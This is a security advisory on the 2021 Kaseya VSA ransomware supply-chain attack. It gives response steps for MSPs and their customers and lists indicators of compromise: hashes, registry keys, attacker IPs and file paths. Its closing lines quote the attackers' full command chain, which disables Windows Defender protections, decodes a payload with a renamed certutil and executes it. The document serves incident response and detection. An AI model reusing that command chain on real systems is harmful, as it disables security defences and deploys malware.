On Friday July 2, 2021, Kaseya, an IT management software provider, notified its customers of a possible security breach in the Kaseya Virtual System Administrator Product. This has been covered extensively (BleepingComputer, CNET, IT World Canada).
Kaseya has indicated that the number of victims is in the low 1000’s, even though the number may increase, at least 36,000 Kaseya customers took their servers offline. The attack appears to have the biggest impact in the UK, South Africa, and Canada, but organizations from countries around the world have been compromised.
Following are details we understand (as of the publish date of this article) and recommendations actions to take.
Group 1: MSPs managing client endpoints using VSA
- These organizations spread the ransomware to their customers
Group 2: Customers of those MSPs & Group 3: Organizations using VSA to manage their own endpoints
- Potential victims of the ransomware attack
- Even if they were not affected yet, there still may be risk
- The attackers may have leveraged access to steal data or maintain persistent access for future attacks
- Kaseya VSA management servers, hosted on premise by MSPs, were attacked (using a code injection vulnerability)
- Attackers retrieved a list of endpoint agents managed by the compromise server (those agents were scattered among numerous independent businesses served by the MSP)
- A malicious binary was distributed to endpoints in an encrypted file named agent.crt. The file was added to TempPath (which resolves to c:\kworking by default). The file was then distributed to client systems as an update called “Kaseya VSA Agent Hot-fix”
- The malicious binary was decrypted and executed disabling Key system security features and services
- The Encryption begins
Actions to Take
Group 1 & Group 3:
- Follow Kaseya instructions regarding shutting down VSA on-premises servers
- Inventory clients’ endpoints that have ever run VSA agent on them including time of deployment and agent version
- Notify potential victims and recommend they backup critical data
Group 2 & Group 3:
- Activate preventative measure to prevent security software from being disabled on endpoints. For Windows Defender, the following Microsoft-issued documentation can be consulted Protect security settings with tamper protection | Microsoft Docs
- Initiate Incident Response driven by the following 3 vectors
- Actively block the IOCs and TTP enablers related to the attack; Disable VSA agents
- Ensure backup of sensitive data and rotate credentials (Including resetting the password of krbtgt user account in Windows Domain Environments)
- Initiate a compromise assessment activity to determine whether a covert breach has happened and validate no lateral movement was conducted to other environments and/or cloud environments
Known IOCs (from Huntress on Reddit ):
Endpoint Indicators of Compromise
- Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
- When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path "c:\Windows" to perform DLL sideloading.
- The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.
- agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Encoded malicious content
- agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Decoded contents of agent.crt
- cert.exe - MD5: <random due to appended string> - Legitimate Windows certutil.exe utility
- mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- REvil encryptor payload
Server Indicators of Compromise (Those are relevant for Group 1 & 3 victims)
- Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).
- A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.
- Attackers came from the following IP addresses using the user agent curl/7.69.1:
18.223.199[.]234 (Amazon Web Services) discovered by Huntress
161.35.239[.]148 (Digital Ocean) discovered by TrueSec
35.226.94[.]113 (Google Cloud) discovered by Kaseya
162.253.124[.]162 (Sapioterra) discovered by Kaseya
The "Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe